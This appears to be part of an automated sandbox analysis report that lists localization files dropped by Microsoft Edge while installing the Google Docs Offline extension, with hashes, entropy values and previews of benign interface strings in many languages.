Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
